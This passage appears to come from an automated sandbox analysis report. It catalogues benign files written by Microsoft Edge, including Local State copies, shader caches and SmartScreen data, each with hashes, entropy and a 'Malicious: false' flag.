SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF404fd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42c2d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF462bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlXej+t:Ls3uC
MD5:	9A495F9648150454C5B9E25BF6563038
SHA1:	3FB4994F51920D5AFA600C6CDADD8BE586AC0637
SHA-256:	F2486A18647151F8E86ED46531729EF4E7DCFB0781819589AA00AD6237D2377A
SHA-512:	CC8A4D8BB5451CD3D43FEADA6110F0FF7638C1A6C054604452D4FDE6752F4AD712B2FA6A3DF78B081FCD9AF2027811D4C136E82AF476BF141E57FBA01B78004D
Malicious:	false
Preview:	.........................................d..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
